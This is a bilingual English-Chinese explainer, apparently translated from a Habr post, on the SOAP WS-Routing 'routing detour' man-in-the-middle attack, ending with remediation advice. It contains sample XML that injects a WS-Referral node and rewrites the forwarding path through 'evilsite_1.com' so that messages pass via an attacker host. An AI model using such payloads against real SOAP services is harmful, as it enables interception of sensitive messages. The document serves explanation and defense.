soap漏洞_SOAP路由绕行漏洞

soap漏洞

描述 ( Description )

The WS-Routing Protocol is a protocol for exchanging SOAP messages from an initial message sender to receiver, typically via a set of intermediaries. The WS-Routing protocol is implemented as a SOAP extension, and is embedded in the SOAP Header. WS-Routing is often used to provide a way to direct XML traffic through complex environments and transactions by allowing interim way stations in the XML path to assign routing instructions to an XML document.

WS-Routing Protocol是WS路由协议，通常用于通过一组中介从初始消息发送方到接收方交换SOAP消息的协议。 WS-Routing协议实现为SOAP扩展，并嵌入在SOAP Header中。 WS-Routing通常用于通过允许XML路径中的临时路径站将路由指令分配给XML文档来通过复杂的环境和事务来引导XML流量。

Taking a minimalist approach, WS-Routing encapsulates a message path within a SOAP message, so that the message contains enough information to be sent across the Internet using transports like TCP and UDP while supporting:

WS-Routing采用一种极简主义的方法，将消息路径封装在SOAP消息中，以便该消息包含足够的信息，可以使用TCP和UDP等传输器通过Internet发送，同时支持：

• The SOAP message path model,
  SOAP消息路径模型，
• Full-duplex, one-way message patterns,
  全双工单向消息模式，
• Full-duplex, request-response message patterns, and
  全双工请求响应消息模式，以及
• Message correlation.
  消息关联。

Routing Detours are a type of «Man in the Middle» attack where Intermediaries can be injected or «hijacked» to route sensitive messages to an outside location. Routing information (either in the HTTP header or in WS-Routing header) can be modified en route and traces of the routing can be removed from the header and message such that the receiving application none the wiser that a routing detour has occurred. 

绕行路由是“中间人”攻击的一种，其中可以注入或“劫持”中间人，以将敏感消息路由到外部位置。 可以在途中修改路由信息(在HTTP标头中或在WS-Routing标头中)，并且可以从标头和消息中删除路由的痕迹，这样接收应用程序就不会更明智地发生路由de回。

主要问题 ( Primary issue )

The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents)

攻击者将一个虚假的路由节点(使用WS-Referral服务)注入到“探索”阶段中标识的SOAP消息的XML标头的路由表中。 因此，攻击者可以将XML消息路由到攻击者控制的节点(并访问消息内容)

基于WS-Referral的虚假节点路由的WS-Routing注入示例 ( Example of WS-Referral based WS-Routing injection of the bogus node route )

<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://evilsite_1.com/router</r:via>
</r:go>
</r:ref>

导致路由绕行攻击 ( Resulting Routing Detour attack)

<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://evilesite_1.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>

后果 ( Consequence )

Thus, using Routing Detour, the attacker can route the XML message to a hacker controlled node (and access to the message contents).

因此，使用路由绕行，攻击者可以将XML消息路由到受黑客控制的节点(并访问消息内容)。

一般修复 ( General Remediation )

Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.

设计：指定请求的最大中间节点数，并要求具有相互认证的SSL连接。

Implementation: Use SSL for connections between all parties with mutual authentication

实施：使用SSL进行相互认证的各方之间的连接

翻译自: https://habr.com/en/post/467681/

soap漏洞